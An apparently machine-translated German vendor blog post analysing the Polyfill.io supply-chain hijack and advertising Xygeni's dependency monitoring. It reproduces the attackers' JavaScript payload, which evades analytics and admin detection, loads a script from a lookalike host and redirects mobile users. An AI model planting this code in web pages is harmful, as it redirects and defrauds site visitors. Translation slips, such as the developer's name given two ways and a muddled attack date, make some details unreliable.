Im Februar 2024, die Angriff auf die Lieferkette von Polyfill.io—ein Paradebeispiel für Angriffe auf die Software-Lieferkette—über 100,000 Websites weltweit kompromittiert. Dieser Vorfall betraf Paket-Hijacking, bei dem FUNNULL, eine bösartige Entität, die Kontrolle über die Domäne und das GitHub-Repository von Polyfill erlangte und Malware in den Dienst einschleuste. Die Malware zielte speziell auf mobile Benutzer ab und leitete sie auf betrügerische Glücksspiel-Websites um, indem sie Schwachstellen in der dynamischen Codeübermittlung von Polyfill basierend auf HTTP-Headern und Benutzeragenten ausnutzte.
Technische Analyse: So funktionierte der Polyfill-Angriff
Polyfill wird häufig eingesetzt, um die Kompatibilität zwischen modernen Webfunktionen und älteren Browsern sicherzustellen. Die Angreifer verwendeten Paket-Hijacking durch den Kauf cdn.polyfill.io Domain und Einbettung bösartiger Skripte. Was diesen Angriff so gefährlich machte, war das ausgeklügelte Verhalten der Malware:
- Dynamische Codegenerierung: Der Dienst von Polyfill generierte angepasste JavaScript-Antworten basierend auf dem Gerät, das auf die Website zugreift (z. B. Mobilgerät oder Desktop), HTTP-Headern und Benutzeragenten. Angreifer nutzten diese dynamische Natur aus, um bösartige Payloads einzuschleusen, die auf bestimmte Geräte zugeschnitten waren – insbesondere Mobiltelefone.
- Ausweichtechniken: Die Malware war schlau. Sie verzögerte die Ausführung, wenn Analysedienste wie Google Analytics erkannt wurden, und verhinderte so, dass ihre Aktionen in den Site-Statistiken auftauchten. Darüber hinaus wurde sie nicht aktiviert, wenn Administratorbenutzer oder Entwickler erkannt wurden, wodurch eine frühzeitige Erkennung während der Fehlerbehebung oder beim Testen weiter verhindert wurde.
- Mobile Umleitung: Nach der Aktivierung leitete die Malware die Benutzer auf betrügerische Glücksspiel-Websites um, indem sie sich als legitime Domänen ausgab (z. B. googie-anaiytics.com). Die Angreifer manipulierten sogar Zeitfenster, um Misstrauen zu vermeiden, indem sie die Nutzlast nur zu bestimmten Zeiten ausführten, um ahnungslose Mobilnutzer zu überraschen.
Die größten vom Polyfill-Angriff betroffenen Websites
Das Angriff auf die Polyfill-Lieferkette Betroffen waren über 100,000 Websites, darunter auch große Organisationen wie:
- Weltwirtschaftsforum
- Intuit
- JSTOR
- Bank of Ireland
- Coldwell Banker
- Live Nation
- Brandeis University
- Dubai Airports Company
- Environmental Defense Fund
Diese prominenten Opfer unterstreichen die globale Reichweite des Angriffs und die Verwundbarkeit von große Institutionen zu Lieferkettenbrüchen.
Frühwarnungen und Reaktionen
Andreas Betts, der ursprüngliche Entwickler von Polyfill, warnte die Entwickler Monate vor dem Angriff, Beenden Sie die Nutzung des Polyfill-Dienstes nachdem er die Kontrolle über die Domäne verloren hatte. Seine Warnung blieb weitgehend unbeachtet, bis FUNNULLs Angriff gestartet wurde. Einmal entdeckt, Content Delivery Networks wie Cloudflare und Fastly stellte sichere Alternativen bereit, während Betts seinen Rat an Entwickler wiederholte, Polyfill-Referenzen vollständig zu entfernen.
Keine Website erfordert heute einen der Polyfills in der https://t.co/3xHecLPXkB Bibliothek. Die meisten der Webplattform hinzugefügten Funktionen werden von allen gängigen Browsern schnell übernommen, mit einigen Ausnahmen, die im Allgemeinen ohnehin nicht polyfilled werden können, wie Web Serial und Web Bluetooth.
— Andrew Betts (@triblondon) 25. Februar 2024
Beispiel für schädliche Polyfill-Nutzlast
Um die Raffinesse des Polyfill-Lieferkettenangriffs zu veranschaulichen, Sansec lieferte ein detailliertes Beispiel der verwendeten bösartigen Nutzlast. Diese Nutzlast passte sich dynamisch an das Gerät des Benutzers an, löste Weiterleitungen zu betrügerischen Websites aus und verwendete Techniken, um der Erkennung zu entgehen. Einen genaueren Blick auf die technische Aufschlüsselung dieser Nutzlast können Sie hier werfen: Sansecs vollständige Analyse und Beispiel eines Schadcodes.
function isPc() {
try {
var _isWin =
navigator.platform == "Win32" || navigator.platform == "Windows",
_isMac =
navigator.platform == "Mac68K" ||
navigator.platform == "MacPPC" ||
navigator.platform == "Macintosh" ||
navigator.platform == "MacIntel";
if (_isMac || _isWin) {
return true;
} else {
return false;
}
} catch (_0x44e1f6) {
return false;
}
}
function vfed_update(_0x5ae1f8) {
_0x5ae1f8 !== "" &&
loadJS(
"https://www.googie-anaiytics.com/html/checkcachehw.js",
function () {
if (usercache == true) {
window.location.href = _0x5ae1f8;
}
}
);
}
function check_tiaozhuan() {
var _isMobile = navigator.userAgent.match(
/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
);
if (_isMobile) {
var _curHost = window.location.host,
_ref = document.referrer,
_redirectURL = "",
_kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
_rnd = Math.floor(Math.random() * 100 + 1),
_date = new Date(),
_hours = _date.getHours();
if (
_curHost.indexOf("www.dxtv1.com") !== -1 ||
_curHost.indexOf("www.ys752.com") !== -1
) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_curHost.indexOf("shuanshu.com.com") !== -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_hours >= 0 && _hours < 2) {
if (_rnd <= 10) {
_redirectURL = _kuurzaBitGet;
}
} else {
if (_hours >= 2 && _hours < 4) {
_rnd <= 15 && (_redirectURL = _kuurzaBitGet);
} else {
if (_hours >= 4 && _hours < 7) {
_rnd <= 20 && (_redirectURL = _kuurzaBitGet);
} else {
_hours >= 7 && _hours < 8
? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
: _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
}
}
}
}
}
}
_redirectURL != "" &&
!isPc() &&
document.cookie.indexOf("admin_id") == -1 &&
document.cookie.indexOf("adminlevels") == -1 &&
vfed_update(_redirectURL);
}
}
let _outerPage = document.documentElement.outerHTML,
bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
aplausix = _outerPage.indexOf(".plausible.io") != -1,
statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
? setTimeout(check_tiaozhuan, 2000)
: check_tiaozhuan();
Warum kam es zum Angriff auf die Polyfill-Lieferkette?
Der Angriff auf die Polyfill-Lieferkette unterstreicht die kritische Schwachstellen in der Abhängigkeit von Drittanbietern Verwaltung. Das moderne JavaScript-Ökosystem stützt sich stark auf Open-Source-Bibliotheken und Entwickler verwenden häufig Tools wie npm, um diese Bibliotheken automatisch zu integrieren. Ohne strenge Prüfung oder kontinuierliche Überwachung können kompromittierte Pakete unentdeckt durchkommen, wie bei Polyfill zu sehen ist.
Darüber hinaus wird in den heutigen Softwareumgebungen aufgrund der hohen Entwicklungs- und Bereitstellungsgeschwindigkeit häufig Funktionalität und Geschwindigkeit wichtiger als gründliche Sicherheitsprüfungen. Angreifer nutzen diese Lücke aus und zielen auf beliebte Bibliotheken ab, um ihre Wirkung zu maximieren. Im Fall von Polyfill nutzten die Angreifer, nachdem sie die Kontrolle über die Domäne erlangt hatten, die weit verbreitete Nutzung der Bibliothek, um auf einer großen Anzahl von Websites Schadcode einzuschleusen.
Dieser Vorfall unterstreicht, wie wichtig es ist, strenge Sicherheitsmaßnahmen wie Abhängigkeitsprüfungstools, Echtzeitüberwachung und robuste Vorfallreaktionspläne zu implementieren, um sich vor ähnlichen Angriffen auf die Software-Lieferkette zu schützen. Unternehmen müssen der Sicherheit in ihren Entwicklungsabläufen Priorität einräumen, um ihre digitalen Ökosysteme wirksam zu schützen.
Vorbeugung künftiger Angriffe: Robustes Abhängigkeitsmanagement
Bei der Verwaltung von Abhängigkeiten Xygenis Open Source Security Lernumgebung verwendet mehrere Schutzebenen, die darauf ausgelegt sind, bösartige Komponenten in Echtzeit zu erkennen, unter Quarantäne zu stellen und zu beheben und Angriffe auf die Software-Lieferkette zu verhindern.
Malware-Erkennung in Echtzeit: Xygeni überwacht kontinuierlich öffentliche Register und sucht nach verdächtigem Code, bevor dieser in die Entwicklungsumgebung gelangt. Dies ermöglicht eine proaktive Blockierung von Bedrohungen wie dem Polyfill-Angriff, wie in Luis Rodriguez' Artikelserie.
Automatisierte Warnmeldungen und Quarantäne: Xygeni isoliert automatisch kompromittierte Pakete und generiert Warnmeldungen, sodass Entwicklungsteams schnell reagieren können. Durch die Integration mit CI/CD pipelines kann jede Bedrohung gestoppt werden, bevor sie die Produktion erreicht. In Fällen wie dem Polyfill-Vorfall verhindert diese Funktion weitreichende Auswirkungen, indem sie bösartigen Code frühzeitig stoppt.
Dynamische Priorisierung & SBOM: Xygeni priorisiert Schwachstellen dynamisch basierend auf Kontext, Ausnutzbarkeit und geschäftlichen Auswirkungen. Durch die Generierung eines Echtzeit-Software-Stückliste (SBOM)können Organisationen alle Drittanbieterkomponenten verfolgen und so vollständige Transparenz gewährleisten. Diese Echtzeitüberwachung ist bei der Verwaltung von Open-Source-Abhängigkeiten von entscheidender Bedeutung und ermöglicht schnelle Reaktionen auf Vorfälle wie die Entführung von Polyfill.
In der Artikelserie von Luis Rodriguez, der Fokus auf proaktive Verteidigung gegen bösartige Open-Source-Pakete wird ausführlich besprochen. Der Ansatz von Xygeni umfasst nicht nur die Echtzeiterkennung, sondern bietet auch automatisierte Abhilfemöglichkeiten, die es Unternehmen ermöglichen, auf sichere Versionen zurückzusetzen, ohne die Produktion zu unterbrechen
Zur kasse die Open Source Schadpakete Lesen Sie hier die Artikelserie, um mehr darüber zu erfahren, wie Xygeni Open-Source-Sicherheit verwaltet.
Lehren aus dem Polyfill-Angriff
Das Angriff auf die Lieferkette von Polyfill.io vermittelt wichtige Erkenntnisse über die Risiken von Abhängigkeiten von Drittanbietern in der modernen Webentwicklung.
- Wachsamkeit bei Abhängigkeiten von Drittanbietern: Dies ist die wichtigste Erkenntnis. Organisationen müssen regelmäßige Überprüfung, Kontrolle und Überwachung alle von ihnen verwendeten Drittanbieterbibliotheken. Übermäßiges Vertrauen in ungeprüfte Abhängigkeiten kann Systeme ernsthaften Risiken aussetzen.
- Proaktive Sicherheitsmaßnahmen: Kontinuierliche Überwachung, beispielsweise mit Xygenis Bedrohungserkennung in Echtzeit, können Schwachstellen frühzeitig erkennen.
- Allgemeine und berufliche Bildung: Wenn alle Teammitglieder über die neuesten Bedrohungen auf dem Laufenden gehalten werden, stärkt dies die Sicherheit der Organisation.
Der Angriff auf die Lieferkette von Polyfill ist ein eindringliches Beispiel für die wachsende Bedrohung durch Angriffe auf die Software-Lieferkette. Diese Angriffe nutzen Schwachstellen in weit verbreiteten Komponenten von Drittanbietern aus und setzen Organisationen jeder Größe dem Risiko aus. Durch die Einführung proaktiver Sicherheitsmaßnahmen wie Echtzeit-Überwachung, Automatisierte Bedrohungserkennung und Robustes Abhängigkeitsmanagement– wie sie von Xygeni angeboten werden – können sich Unternehmen in Zukunft vor ähnlichen Bedrohungen schützen. Wachsam zu bleiben und die Bibliotheken von Drittanbietern umfassend zu überwachen, ist der Schlüssel zur Verhinderung groß angelegter Angriffe wie Polyfill.
Schützen Sie Ihre Open-Source-Abhängigkeiten vor Angriffen auf die Software-Lieferkette
Lassen Sie Ihre Bewerbung nicht zum Opfer fallen Angriffe auf die Software-Lieferkette wie Polyfill. Xygenis Open Source Security Lernumgebung bietet Echtzeitüberwachung, erweiterte Abhängigkeitszuordnung und automatisierte Korrektur zum Schutz Ihrer Entwicklung pipelines aus kompromittierten Paketen.
Übernehmen Sie noch heute die Kontrolle über Ihre Software-Lieferkette. Demo speichern und sehen Sie, wie Xygeni Ihr Unternehmen vor zukünftigen Bedrohungen schützen kann.





